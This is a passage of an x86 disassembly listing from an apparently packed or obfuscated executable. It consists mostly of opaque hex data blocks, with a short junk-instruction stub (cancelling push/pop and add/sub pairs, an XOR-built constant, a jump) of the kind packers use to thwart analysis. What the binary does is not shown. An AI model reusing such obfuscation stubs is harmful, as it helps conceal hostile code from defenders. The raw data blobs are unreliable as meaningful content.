		dd 0F13B9EA5h, 295BFA82h, 4A841FC7h, 0D608A74Dh, 8F1DB143h
		dd 0FCA41567h, 701E8031h, 0FCA41551h, 80134DE7h, 92255FFAh
		dd 53B40043h, 41F083B5h, 63C92E92h, 0B8FF539Fh,	0CC5AEEA6h
		dd 0FCA40A2Ah, 0A254E276h, 0FEFCA409h, 7C189E4Dh, 6686E648h
		dd 46000000h, 0D0629433h, 0D6B79985h, 9A39131Bh, 7726D568h
		dd 0B81A58F1h, 0F2267103h, 84D83FBDh, 0D123D133h, 0BFFCA349h
		dd 0C230125Ah, 0D3A6B833h, 1, 64963393h, 7CAE4BD1h, 8FC562EAh
		dd 36EB4DFCh, 4BDE12B0h, 5F1F6AFCh, 0C318204Bh,	0C02C91F3h
		dd 0B3B0E27Fh, 3F3C6E0Dh, 0C229428Dh, 0E578927h, 9CFE9E19h
		dd 9099335Ch, 0A74FDDF4h, 0F1FCA415h, 50E29140h, 64F729C8h
		dd 0C9E53B5h, 55B7E984h, 0A74010ADh, 270EEA55h,	0C9426D5h
		dd 25DA3C70h, 39CC069Fh, 5DE315B3h, 0F7FE91C3h,	29BE2894h
		dd 9F399EE6h, 23C26865h, 3FD85EF1h, 0F0537205h,	0F33CC684h
		dd 9079A6B8h, 39000000h, 0D4679933h, 0EC7FB54Eh, 3DC00B9Dh
		dd 336D07D0h, 0B3D4ECEAh, 3F80EC51h, 0BC6E6BA5h, 0D3669A34h
		dd 801AC224h, 0D41FB144h, 17104079h, 700E94DBh,	9432DA3Ch
		dd 0BB1CEC89h, 2C7E8677h, 1CCB5E0Dh, 0BA53DB6Dh, 4EE113B1h
		dd 0D98EF09Fh, 0F083B553h, 598CC6Ah, 7CEA5297h,	0D0B2FA5Dh
		dd 0A6B86C32h, 5483h, 99334300h, 1600F684h, 0EFA0FCA4h
		dd 8C27AD40h, 9F39BF52h, 0AE4CD265h, 0C761E77Ah, 0FC4BFA8Dh
		dd 0BAE373B9h, 10AAED57h, 3399D7D4h, 45D16496h,	0FCA4157Ch
		dd 0C2317BE0h, 69802877h, 7FE148FAh, 0B8DB985Ah, 8621A9A6h
		dd 0F6A5D775h, 0F252B463h, 1, 91DC27B2h, 3DDD817h, 0AB44EC4Eh
		dd 0CC54E679h, 598B2831h, 0E26817AAh, 5AD0F45h,	57A23466h
		dd 7E20F16Fh, 0C841C3D9h, 0C510664Eh, 0BDF79016h, 3C9FA65Bh
		dd 0BCF68FF0h, 678939BFh, 9ABA47D5h, 0FDAEF27Eh, 7945E46Ah
		dd 9A797A6Ch, 0D5D281B0h, 86C4902Fh, 7609035Eh,	0D25EF1A0h
		dd 0F5FA8322h, 95FA42A5h, 15C7C4F6h, 0EABF9FCAh, 81E34AFCh
		dd 75083AD9h, 8B1E50EFh, 649B3F6h, 15383567h, 0A00F5BDDh
		dd 188B8h, 6F537800h, 0D35BEF81h, 0C675083Ah, 355BB664h
		dd 2671F27Fh, 6D6F7E22h, 50CA2CB4h, 0E7860C9Fh,	19B23B5h
		dd 78D3CCFh, 0F1A0336Dh, 2BCA708Fh, 4CD466F9h, 3AE97CB0h
		dd 5F9130D8h, 11A537CCh, 7907EF7Dh, 0E091F5FAh,	0FA78A254h
		dd 0EB4DFEF5h, 39CD3E86h, 0FA784BABh, 30CD55F5h, 9B867FAh
		dd 2E60FFA7h, 62E40E31h, 3BB1A00Fh, 0FD000000h,	13A6DC75h
		dd 0B41DE64h, 805369A9h, 7462F082h, 0A47CA415h,	22D460F3h
		dd 687CA417h, 0E26AD923h, 26AE1044h, 2FC355ADh,	77D90BA7h
		dd 0A4170DC9h, 9D9A4BFCh, 0E05Ch, 9F271E00h, 2359F506h
		dd 0D032E174h, 0E4767A48h, 98FC15Ch, 0F7A6396Bh, 0F253E195h
		dd 14F27F2Fh, 730E06C9h, 0EB88158Ch, 2EA80AB9h,	0C564EA7Dh
		dd 51F09693h, 78428D1Fh, 46CFF5DBh, 0F37F3496h,	0F5FA62CCh
		dd 4788F457h, 0A739DCA8h, 0AD3ECE80h, 477B01FEh, 0B8917A9h
		dd 13EBCC3Fh, 338901C8h, 0A81D6698h, 33AD0F2Dh,	0C2E5119Fh
		dd 0EB79FC9Dh, 0FC9DC30Bh, 0DB8CE495h, 0D988BA55h, 19DCFC47h
		dd 5EA88725h, 4DB83ECCh, 37E8FC9Dh, 0FB9A20D5h,	891C58F2h
		dd 86BA54DAh, 29544F3h,	3D14E27Ch, 3E7C5468h, 0E76D00AFh
		dd 55A12F4Ch, 43FC9DF2h, 0E250E392h, 0C0C7579Dh, 0B2EA860Eh
		dd 0A90E701Fh, 0B0A61C43h, 4BBEBD93h, 93BD92Ah,	0CF18C776h
		dd 68883B07h, 294435Eh,	6E7E2074h, 4E4BFCF2h, 0AA6F5310h
		dd 982AD90Bh, 0B1E37C04h, 5F0D6F1Eh, 0F2754135h, 527362ADh
		dd 913B6ABEh, 932DB52Fh, 701FCE61h, 0ECB857DDh,	31AEDB63h
		dd 4E801F85h, 0AE5D0CBBh, 3A6C0BB1h, 3E4F1BA7h,	1F627697h
		dd 0A1D372D5h, 2D5FFEA4h, 4276149Ah, 0F8941CB0h, 0F68231C4h
		dd 83552F00h, 0D88DEFA0h, 0EB7EB652h, 396CC65h,	0C35399FCh
		dd 0AC1359BCh, 366A040Dh, 45E48A87h, 35F8013h, 21000000h
		dd 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh
		db 0Fh,	7Ch, 2Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4EF64354h
		xor	ebp, 48597500h
		mov	esi, ebp
		pop	ebp
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		dd 0CC4470DFh, 0F0CB7CFFh, 5730D942h, 3B42B833h, 0C50306AFh
		dd 0E138E0FFh, 58B938D7h, 0DD192B6Bh, 4EAA17A1h, 67904F4Ch
		dd 1CF56BF6h, 8F07D38h,	0C5CC2004h, 0D6CB75E8h,	1AA04D10h
		dd 3C251AF7h, 0B8306F6Ch, 0AC37ACCh, 0C361026Ah, 4CF0141Bh
		dd 11187A4Ah, 1C9D5FCDh, 16E65813h, 1F34608Ah, 194C0445h
		dd 20BD0C75h, 6F3F5BC6h, 67F12AC6h, 0D0BC0A5Ch,	30DD3ECDh
		dd 97E92C99h, 0E2000001h, 2752A025h, 0D31AD52Ch, 0D746B198h
		dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
		dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
		dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh,	47FEACFFh
		dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
		dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 6 dup(0)
		dd 2E90000h, 68000010h,	6AF3FBFh, 0FB0C33E9h, 40FC68FFh
		dd 29E906AFh, 68FFFB0Ch, 6AF4300h, 0FB0C1FE9h, 43C568FFh
		dd 15E906AFh, 68FFFB0Ch, 6AF44D1h, 0FB0C0BE9h, 459A68FFh
		dd 1E906AFh, 68FFFB0Ch,	6AF4653h, 0FB0BF7E9h, 46E668FFh
		dd 0EDE906AFh, 68FFFB0Bh, 6AF47E8h, 0FB0BE3E9h,	485E68FFh
		dd 0D9E906AFh, 68FFFB0Bh, 6AF4918h, 0FB0BCFE9h,	49A768FFh
		dd 0C5E906AFh, 68FFFB0Bh, 6AF4A27h, 0FB0BBBE9h,	4B8E68FFh
		dd 0B1E906AFh, 68FFFB0Bh, 6AF4C6Fh, 0FB0BA7E9h,	0BD4DF6FFh
		dd 15A55085h, 6AFAA8DDh, 0BD4DFD32h, 13A35085h,	893EDFDBh
		dd 0DF144CDCh, 366BA333h, 8ABFF787h, 0D41850E0h, 0CD47E045h
		dd 4F941FAFh, 4CDC86DFh, 7202ACDFh, 0E998CB3Ah,	17ACEC59h
		dd 9B2A7D6Ah, 0AA060436h, 54C1031Fh, 0A9E02AEFh, 0ADE06F1Fh
		dd 3FCF7F02h, 9B3092D2h, 0DF922D20h, 26AD418Dh,	0E83B54B9h
		dd 0C6081FA9h, 0E8B9D237h, 44861FA9h, 3C74AFh, 0B4E70000h
		dd 93E37808h, 3DCCDB0Ch, 0AA0792D8h, 0E877B91Fh, 0E67D167Bh
		dd 88CA1FA9h, 5643A8F3h, 0C31FA9E6h, 0E5982726h, 2CAD4193h
		dd 4FDF8CBFh, 0A9D2AFC8h, 0A53A7C1Fh, 0E96Ah, 0DC86FA00h
		dd 0FFACDF4Ch, 0A54FD27Ch, 668A815h, 29B96699h,	0C5F865C7h
		dd 0EB1E8B1Bh, 1279B141h, 1900F837h, 0EC85EA57h, 391900F6h
		dd 852F62F7h, 0E448F9D6h, 0D968446Eh, 0E7DB74h,	84E62819h
		dd 0DD6D174Ch, 9024C370h, 5FEE50E0h, 0AA03A0FAh, 0EBAEF1Fh
		dd 75E41C7Eh, 0CB8AA308h, 15571FA9h, 9314D380h,	9F5E9F04h
		dd 3B6E1905h, 54940191h, 0BB208FBFh, 14541EA2h,	3CCB2D6Fh
		dd 94CC5C09h, 0D985B825h, 1EA9C249h, 34761454h,	2FBF6C9Fh
		dd 0EC1AF1F9h, 78E451F5h, 0D8Dh, 0D40C9C45h, 2C64F49Fh
		dd 81B949F7h, 0D40C9C4Ch, 2A62F29Fh, 2BD8692Eh,	822E639Bh
		dd 0D685BAF2h, 2FD90E46h, 9423679Fh, 0AFCC162Fh, 2E9EE31Fh
		dd 0E0AEED4Ch, 67C5619Dh, 40D56512h, 98D0600Dh,	0F129B963h
		dd 0F5AB2382h, 86467C8Ah, 194CA1F1h, 2D6DDA6Ah,	7EFCEB98h
		dd 0F30019h, 298BCD19h,	731359Ah, 6CD91FAAh, 0A9E76E07h
		dd 0E74CBB1Fh, 1FA9E74Eh, 62F7599Bh, 1683F032h,	39A636E3h
		dd 1AFF64F9h, 0AC1FA9E7h, 42D27F02h, 954073E0h,	900B9805h
		dd 18B537BDh, 0C0259235h, 1FA9E7A7h, 0C633C371h, 9DF23486h
		dd 54C95EEEh, 0AD4192A1h, 7707B5E8h, 0BFA7E2h, 86370000h
		dd 0ACDF4CDCh, 9D026FFFh, 1900F8CAh, 16983E2h, 0FC820A4Ch
		dd 0FA8A3467h, 0F888386Bh, 0A0B91E8Bh, 6D190071h, 1E34C92Bh
		dd 42AF3FE9h, 0C3285295h, 190071AAh, 0E638C874h, 11A14FA4h
		dd 40ED20AFh, 0AE0343B0h, 72DF7404h, 0AA95B50Dh, 0E592C51Fh
		dd 0C861C655h, 151FA955h, 0CC0E3ED3h, 47F22594h, 727522B7h
		dd 0EF41A635h, 3C190502h, 8B386BFAh, 0E18EC3FBh, 0B0B11B51h
		dd 107DF5EBh, 0C50A4h, 49D98200h, 0A131DC11h, 0F6863469h
		dd 49D989BEh, 9F2FDC11h, 15AA6B67h, 6BA0D868h, 0C2F72FBFh
		dd 164B8313h, 60A4DC6Ch, 0B3D36CD1h, 0DB201FAFh, 56D9866Bh
		dd 80B81AAAh, 0D911A14Bh, 7ADF4C87h, 1900F3E1h,	2457EC2Eh
		dd 3F58BD7Ah, 0C1900F3h, 3BCB75CAh, 0BF2C8ECEh,	1A52E28Ch
		dd 9C2B7C6Bh, 0C980E23Dh, 8B20FD22h, 0D27EB11Eh, 0B113A34Fh
		dd 837B71Ch, 0D2141FAAh, 0F5A3D643h, 31B8F865h,	1FA9D318h
		dd 0C30EA3E5h, 0A9D3B95Eh, 0CD5D0B1Fh, 0EF7F2D60h, 0FD50CB82h
		dd 0D3CC65CAh, 0D7191FA9h, 3164F375h, 0E45FF484h, 9EA35669h
		dd 851CAD41h, 0AC000000h, 3A9FDB0Ch, 1900F321h,	0C226EBBFh
		dd 7591D5Bh, 6FD463C5h,	1FAA4C3Bh, 1EAE5B90h, 7DE271B1h
		dd 1FA96FE4h, 208DEF31h, 0A96FDEBBh, 0AF9E3B1Fh, 0CC10B918h
		dd 0FC82E5F3h, 1050BD4Dh, 0F1A419AEh, 6AAD41FDh, 3Ch, 48ED4CFAh
		dd 28EE23B7h, 0E34F00C9h, 97F977FBh, 0F6925502h, 57C3D7D8h
		dd 6CFB5DABh, 66FB8B39h, 7F8294F9h, 0FF411FAAh,	7F682D92h
		dd 10AD1FA9h, 0ACF823Dh, 748AD42h, 0D8000000h, 81F4Dh
		dd 194CFB00h, 9A47DC6Ch, 53D23B4Dh, 26A737E1h, 95F76405h
		dd 227A106h, 94C71FB0h,	8FBF54E4h, 0E18BBE4Dh, 9235A332h
		dd 8C0DE907h, 10564E73h, 70A80AA8h, 80E2913Bh, 458453EEh
		dd 16C33092h, 0E847D6D1h, 5DCA7CF7h, 36C67475h,	922789C9h
		dd 0D985B825h, 84FB449h, 41191F5Ah, 42D46DD2h, 0DF21145Eh
		dd 4252EB50h, 5D9F145Eh, 8D396CFBh, 3A0653DEh, 288AEB98h
		dd 79E67BBBh, 6B199C46h, 9D0F6EDBh, 7B80703Ch, 3BCA2C8Eh
		dd 37C06FCEh, 0C4E0CAAFh, 5E1C243Dh, 1AAFF114h,	9525CF04h
		dd 0FF5CBB28h, 5A62EAD1h, 0D36CD160h, 20145E6Bh, 4B9C49DEh
		dd 6668CD5Ch, 0C512F49Ch, 5D894D83h, 4CB9EF39h,	0A4CE0h
		dd 4DDD8600h, 0A535E015h, 0FA8A386Dh, 4DDD8DC2h, 0A333E015h
		dd 19AE6F6Bh, 6FA4DC6Ch, 0C6FB33C3h, 1A4F8717h,	64A8E070h
		dd 0B0D770D5h, 0DF241FAFh, 0F447546Fh, 60871900h, 0D885B847h
		dd 0D946B348h, 1F01447Ah, 0B54A9144h, 0B074A850h, 2961A31Fh
		dd 0AB3A6D7Ah, 1FB78A46h, 0D05FA119h, 2665FE63h, 1075145Eh
		dd 145E2677h, 0EE3082C4h, 0FB9EC59h, 6812477Fh,	29BE6BD8h
		dd 79C4965Fh, 0BE204422h, 0E48FC22Fh, 20A7E754h, 145E2707h
		dd 90FD92D4h, 0EEFBD42Bh, 54E32512h, 58E77721h,	0E3ED86EBh
		dd 0F83A0D0Eh, 6E184D63h, 0D0C71DEh, 418D0EE3h,	0D7201A6h
		dd 8BA40FD5h, 0DEEA2062h, 606889CBh, 98787F3h, 0A24B0000h
		dd 0FAA5DA12h, 4FFD326Ah, 0A25287BFh, 0F8A5DA12h, 63343068h
		dd 69A131DEh, 0C0F88834h, 144CDC8Bh, 6DA535DFh,	1C359A29h
		dd 0E91FAFB0h, 0DB0C34A4h, 63D03DCCh, 0F365FEh,	0DB70B219h
		dd 0B02F4276h, 0F887C91Fh, 538B1BC5h, 77E4741Eh, 0FB8A1DCAh
		dd 20B05B8Eh, 79DE73B3h, 191F124Bh, 568177D8h, 0B3B9B55Ch
		dd 0E58FC251h, 13A8E855h, 39C973A6h, 0B55F9201h, 8BFA93F8h
		dd 547145Eh, 61F636A3h,	65F4842Eh, 0A35FB806h, 11D38FE4h
		dd 0C98203E2h, 0EB36CB76h, 6FFEA93Eh, 0EE1A9F0Ah, 69CB2C12h
		dd 29B96806h, 0D6FB7CBCh, 0DF6ED027h, 3A7202ACh, 5ECB5B05h
		dd 0D551CF9h, 0ECBB2C0Dh, 89BCF85Dh, 0AE0F0BBDh, 76C237EBh
		dd 8B1A7CC2h, 0E61EAE58h, 0A7707B1h, 7A2A8A5Dh,	55B747F7h
		dd 0C1FF64F3h, 5A050CA2h, 3AED86EBh, 0F83A386Bh, 6B7C2996h
		dd 9D0A9A49h, 76CFB5Dh,	3EC1D9EFh, 6EC4FA3Ch, 44DB2C22h
		dd 87B6BD7h, 0AE570000h, 6B1E61Eh, 5B093E76h, 0AE5E93CBh
		dd 4B1E61Eh, 5F403C74h,	75AD3DEAh, 0CC049440h, 2058E897h
		dd 79B141EBh, 2841A635h, 0F51FAFB7h, 0DC8640B0h, 2ACDF4Ch
		dd 0F9740572h, 91407354h, 8F396C01h, 9D50C7FFh,	0E4A6987Eh
		dd 0AFAFCC85h, 750AA904h, 1E3Ah, 0D340AD00h, 0D4D56Eh
		dd 59E02219h, 1900D4C0h, 0C776CB0Dh, 0F58ACA37h, 4924DA5h
		dd 9FFB0000h, 0FCAB3C71h, 0FD8D3A6Dh, 5096FB68h, 0F71FAA09h
		dd 0B943096h, 3C9E4EA8h, 19115CC1h, 2E5EAA5h, 0C0E1DD86h
		dd 91F3CEFDh, 5E359D02h, 0C002C61Fh, 7341A653h,	48D739C9h
		dd 0F30932E3h, 0BE4D8FFFh, 1951E18Bh, 74AA3AE4h, 1C3625C0h
		dd 0B22591FEh, 20000007h, 7AAFE777h, 0D2073FCFh, 275C9424h
		dd 7AAFE777h, 9053DCDh,	7606B314h, 0CD5D093Eh, 21B16095h
		dd 7A0AB4E9h, 0A6FFE42h, 1FAFB671h, 860979BEh, 8ABD4CDCh
		dd 70DD4ADAh
		dd 0F3720Bh, 1B7DBF19h,	5B083B86h, 3E493CBh, 62B015A4h
		dd 0D91FB02Fh, 3C9B0897h, 8FF4BC27h, 1FAFFFF6h,	0AE800143h
		dd 0D80BA07Bh, 0F7669E2Eh, 71BC5A98h, 84C431C1h, 88668E03h
		dd 8616C0F3h, 2C7B6C19h, 5AB4389Dh, 5597191Fh, 59E993C6h
		dd 8542EC21h, 419AB318h, 2567145Eh, 5E41859Eh, 0BB105214h
		dd 8F1E8010h, 15223A30h, 0BA0309Ah, 50E08DC0h, 0E289041Ah
		dd 0D541AEF5h, 6F9h, 68A030D9h,	0C0F88833h, 154DDD8Bh
		dd 68A030E0h, 0BEF68633h, 0BF6CDDC2h, 16C2F72Fh, 6A194E86h
		dd 0C36DA2DAh, 28B7FB33h, 0AFB5AAC3h, 0C232771Fh, 45ADDB0Ch
		dd 4A2424F7h, 0DC41D032h, 1FB029E8h, 8E1ECBFEh,	0F887C9F9h
		dd 538B1BC5h, 55E4741Eh, 0B1EA83E8h, 0F5371FAFh, 0B1680166h
		dd 73B51FAFh, 0F32693DEh, 721FB444h, 3EA33275h,	1906B5C0h
		dd 2F48AD1Ah, 0BF1458B5h, 58B5C15Ah, 7ACC0E14h,	0A838E338h
		dd 6BA1E313h, 0F5E8C1A5h, 66309C09h, 6C000006h,	0C6FB33C3h
		dd 1E538B1Bh, 73A8E070h, 0C6FB33C3h, 55518919h,	0C252FF40h
		dd 19A9558Ah, 6DFDACE1h, 0C6560035h, 56BB4A8Eh,	1FAFB53Dh
		dd 8655C50Ah, 5EBD4CDCh, 4D242349h, 0D0FA2C54h,	0DF776BECh
		dd 5A8DD86Dh, 22B320B0h, 28D782B5h, 63CA7FF7h, 6AFF61DAh
		dd 0A695EEFh, 0ADDE1F07h, 0B6E1803Dh, 0FCD86EEFh, 43D37DD2h
		dd 0CE0196D6h, 0E55C9424h, 0A6993732h, 7ABh, 714D3B00h
		dd 0FB000002h, 0DF4CDC86h, 60C5B532h, 1900F3C7h, 0E170D214h
		dd 0B030487Ch, 6199DB1Fh, 85F2822Ch, 0DD15A552h, 5FEEB92Eh
		dd 1F11EBFAh, 67F63819h, 0D767E808h, 0F4A31F88h, 55B7F764h
		dd 762053C0h, 85EA57E6h, 145EDFECh, 368F739h, 145EDF6Ah
		dd 0CAE075B7h, 0C92EEB95h, 145EDFB0h, 4AD93B7Dh, 6FDC6C17h
		dd 9E2EDA2Fh, 0DE8BBE09h, 0B334E14Eh, 7A0065F4h, 0D112F429h
		dd 0C9C1598Fh, 9401EF39h, 56428h, 35C56E00h, 8D1DC8FDh
		dd 0E2722055h, 35C575AAh, 8B1BC8FDh, 1465753h, 578CC454h
		dd 0AEE31BABh, 2376FFFh, 4C90C858h, 0B43F58BDh,	0C70C1FAFh
		dd 4CDC8657h, 7202ACDFh, 0D4077405h, 0EC2C9929h, 9071DC57h
		dd 0A71E56E6h, 0A6987AF4h, 76Dh, 464DFD00h, 0FB000001h
		dd 0BA1FDC86h, 1900F3A1h, 819AFF6Eh, 4E1900F3h,	1248AA0Ch
		dd 34107EAh, 0EEEB57C4h, 0E4000004h, 3E73AB3Bh,	96CB0393h
		dd 0EB2058E8h, 3E73AB3Bh, 0CDC90191h, 3ACA77C8h, 9121CD02h
		dd 0E5752459h, 3ECE78ADh, 0CE33C206h, 1FAFBBB5h, 86CD3D82h
		dd 72DF4CDCh, 0F387A005h, 12541900h, 10A04A7Dh,	0B69712A3h
		dd 263FA411h, 0C41900F3h, 0BF2D054Ah, 3577C999h, 33C36DA0h
		dd 0CED184FBh, 2E4AA698h, 0BD000000h, 0E24FDF8Ah, 0AF771075h
		dd 82C41900h, 132C9120h, 0E01900AFh, 4DB9099Eh,	0A5h, 6A194CFBh
		dd 9AD945DAh, 6A000000h, 65FA8A37h, 0D9DB0C15h,	0EE2E9B2Bh
		dd 5498FD8Ch, 0F71FB030h, 4C9B48B5h, 9B67CC5Bh,	0F019053Dh
		dd 0B98E78AEh, 0C734F5E8h, 4345Bh, 65F59E00h, 0BD4DF82Dh
		dd 12A25085h, 65F5A5DAh, 0BB4BF82Dh, 31968783h,	87BCF484h
		dd 0DE134BDBh, 32679F2Fh, 7CC0F888h, 0BAEF88EDh, 0F73C1FAFh
		dd 6A194C87h, 3EAB3BE7h, 0EF2F9CFEh, 0C85DED9Ah, 4CDBCC1Bh
		dd 0AA40F2E7h, 8615571Fh, 0BE9BB419h, 26681FA9h, 43F12491h
		dd 6147BB3h, 0C21FA9BEh, 1B508818h, 470DD6Dh, 3C9h, 0CCDB0CB2h
		dd 3014D83Dh, 0F5371FB0h, 9B0CDB88h, 3DDBA70Ch,	0EE301905h
		dd 0E8BAC0B8h, 0A5117EF5h, 3A5h, 0BCF4842Dh, 144CDC87h
		dd 69A131DFh, 0BCF48434h, 124ADA87h, 13C00116h,	6A164B83h
		dd 0BE6DA2DAh, 17C1F62Eh, 7C0B4F87h, 0AFBA7E17h, 1686CB1Fh
		dd 3DCCDB0Ch, 0B03010D8h, 6AF93B1Fh, 0C5FD8D37h, 0EB84E956h
		dd 381FAFCDh, 842E61F6h, 0DDA87F4h, 0B3A60B9Ah,	5B191F11h
		dd 81EE7E28h, 3A7CAC41h, 3ECE78ABh, 9727D106h, 3D6A7D2Ah
		dd 7F9949AEh, 64A612F4h, 397C342Eh, 2591FEEFh, 325h, 3C7404ADh
		dd 94CC5C07h, 0E921B15Fh, 3C7404B4h, 92CA5A07h,	93408196h
		dd 0EA96CB03h, 3EED225Ah, 974176AEh, 0FC8BCF07h, 0AFB9FE97h
		dd 96064B1Fh, 0BD4CDC86h, 0E17E0A5Eh, 6C74899Dh, 0CBE96A83h
		dd 0F540D577h, 0E79518C2h, 4EBDF557h, 7E37CE1h,	0EE301900h
		dd 3F3BAC59h, 741DAh, 0EA4C8E19h, 0F244F65Bh, 81C31FAAh
		dd 73B993F2h, 88919C8h,	9F34082Ah, 0B12AEF54h, 0D26F1FAAh
		dd 0BC91447Bh, 4B0AAD42h, 7D000000h, 0EBEE001Eh, 52B77AE2h
		dd 1FAA3839h, 0CD62C406h, 0CCDB0C7Dh, 4D71D03Dh, 97792412h
		dd 0C185EA7Fh, 661FAA6Fh, 88F58531h, 1479E648h,	1FA98F07h
		dd 168313C1h, 38A535E3h, 0D71D30ABh, 2A95B855h,	0AD41FA77h
		dd 0CFF0h, 194C8000h, 4950BA69h, 95159F33h, 0C16B9E33h
		dd 0E491C431h, 0AB4E754h, 33A00D7Ah, 93B5CEh, 0A34D8219h
		dd 0E91CB113h, 0C120AF3Fh, 7D749E9Dh, 0D0E67BBBh, 0F3832E61h
		dd 4CB14686h, 19007E7Dh, 599121CBh, 7DEA7A24h, 19017D0h
		dd 0A97E869Ch, 7020551Fh, 0B23373E0h, 0F8477D6Ch, 15A40620h
		dd 38A535E2h, 0A8CD66CBh, 0D81A1FA9h, 1CCBE176h, 0E84DDCCBh
		dd 1905FCF0h, 578A195Bh, 2C8B1AAAh, 67CEC5FBh, 0BAD06584h
		dd 1248D885h, 0F5EBB952h, 0BE137FECh, 14000001h, 6EA3DB6Bh
		dd 0C6FB33C3h, 1B508818h, 6EA3DB6Bh, 0FDF931C1h, 6AFAA718h
		dd 0C151FD32h, 15A55489h, 6EFEA8DDh, 0FE63F236h, 1FAFB865h
		dd 86FD6DB2h, 0DC1149D9h, 186AA232h, 0E7ADDB0Ch, 0ACD9C2FCh
		dd 7DEA79DBh, 7A0F9F4Ah, 0AA3E5115h, 7E95F61Fh,	0F8D55D32h
		dd 970471D3h, 952ABA64h, 0A9466B30h, 0EE21B01Fh, 242AF3Fh
		dd 26FFFADh, 9BB22DC2h,	42337124h, 0ACEAADh, 867A0000h
		dd 0ACDF4CDCh, 3ECE7CFFh, 701A4DDCh, 9B004BE0h,	1900F8CCh
		dd 0A8E0701Ah, 0CC39C973h, 0F48DF25Fh, 3E1900F6h, 55950292h
		dd 7F2CC103h, 4BB03F68h, 1FA9F037h, 0DB8AC204h,	9F0C9B0Ch
		dd 5132A40h, 196E3A4h, 58A639Ch, 0DF6EB019h, 376FFFACh
		dd 57E795C8h, 52E28FC2h, 0EC29321Ch, 279300F5h,	0DDh, 84BC4CF5h
		dd 0DC14A44Fh, 3169F9A7h, 84BC4CFCh, 0DA12A24Fh, 0DB8839DEh
		dd 32DE134Bh, 86356AA2h, 0DF89BEF6h, 44D3174Fh,	0AFBF46DFh
		dd 0DE4E931Fh, 0A856D986h, 96BAB18h, 0C9C477Ah,	0E27707B7h
		dd 5DED97CCh, 0DC86D325h, 2ACDF4Ch, 0F347E045h,	0E4911900h
		dd 5EC00254h, 0D684B726h, 0E304B146h, 0F3193297h, 0A4E61900h
		dd 0F4EB342h, 3C1FB02Fh, 8D386BFAh, 0BB5090FDh,	3933D70h
		dd 5CEC96CBh, 63A68AEFh, 65126BBFh, 8A3568D5h, 5FCC5C07h
		dd 0E350BD1Fh, 0BE5BE57Eh, 3EF03243h, 0B9688CC1h, 4BB80F3Eh
		dd 0BE5B4DE6h, 59E99743h, 0FD30C507h, 568BC353h, 7CAF1CACh
		dd 77641DCCh, 44EF6B47h, 0BE1E46DFh, 0EF519343h, 29D208Dh
		dd 7C0CB64Bh, 0D5650F44h, 3FC68h, 39AA0000h, 4DDD86C7h
		dd 7303ADE0h, 9424D306h, 0B848F427h, 0DB6B184Bh, 0FE8E3B6Eh
		dd 1EAE5E91h, 40D07EB1h, 65F5A0D3h, 89577FF8h, 4C781E7h
		dd 83000000h, 3C8704EFh, 1C895C24h, 68106824h, 0C890000h
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 2434895Ch
		dd 3CBD68h, 24348900h, 0AF3E70BEh, 5EF18906h, 24348B54h
		dd 4C481h, 0DD680000h, 8900004Ch, 468F240Ch, 2434FF08h
		dd 4C4835Eh, 592434FFh,	4C481h
		dd 3DE90000h, 18FFFAFCh, 4D71B8FBh, 0C50306AFh,	4D1EE0FFh
		dd 26F54A2Ah, 0E61E550Fh, 51825938h, 512E7052h,	999A1137h
		dd 82457AB4h, 967E61C0h, 0C6353B81h, 0FC44626Bh, 76F3280Fh
		dd 3A083DA3h, 11405767h, 5BA22ACAh, 0FB2434E6h,	4762264Ch
		dd 0A7B82622h, 1C7D48CDh, 4ADA40F2h, 8E0927FDh,	0DB6F625Eh
		dd 12E87DCDh, 25000000h, 1E2A74EBh, 45137829h, 0B540719Dh
		dd 0F6F9B438h, 5B5359C2h, 6582C181h, 0DE90000h,	7A000000h
		dd 0A594280Bh, 0AB9FB2Eh, 557036FDh, 0BFh, 48E0F00h, 66000000h
		dd 8B8183BAh, 0FE83904h, 5B000000h, 0DD4875ABh,	2AAA30Fh
		dd 4DA06374h, 0B70F7140h, 0F0815EF3h, 5DC5268Ah, 14E9h
		dd 14948900h, 0AE981927h, 8FAEF0A7h, 174D811Bh,	8BC6BF3Eh
		dd 0B4F08185h, 0B22DB823h, 3E88114h, 811A4ED6h,	3868FEC2h
		dd 39048968h, 2860F60h,	8B000000h, 61DA8BCAh, 0F901EF83h
		dd 814F4F4Fh, 0FF9B60FFh, 1E850FFFh, 60000000h,	5CE08166h
		dd 2EE961E7h, 0F5000000h, 9CA3292Bh, 0EDAF7C43h, 0B45EB6E2h
		dd 31B9E0B7h, 3880FDCh,	0F000000h, 64E9D7BFh, 4FFFFFFh
		dd 0FE8B616Ch, 15BA2DF1h, 3A5B8BACh, 0AE845h, 0DC650000h
		dd 14D11384h, 0B5E88862h, 0AF81CE81h, 0FC5831C2h, 66BFC081h
		dd 0EE90000h, 64000000h, 31A8ECABh, 0BE54741Dh,	8B59B12Dh
		dd 6E4ABF16h, 0EF81169Dh, 169D54C3h, 2BD68160h,	613A6247h
		dd 6053108Bh, 9FAD06B8h, 61F28B6Bh, 13F2815Bh, 817FB55Dh
		dd 36C263F6h, 6AEA814Fh, 0E97530F8h, 7,	0D92D9677h, 819DC549h
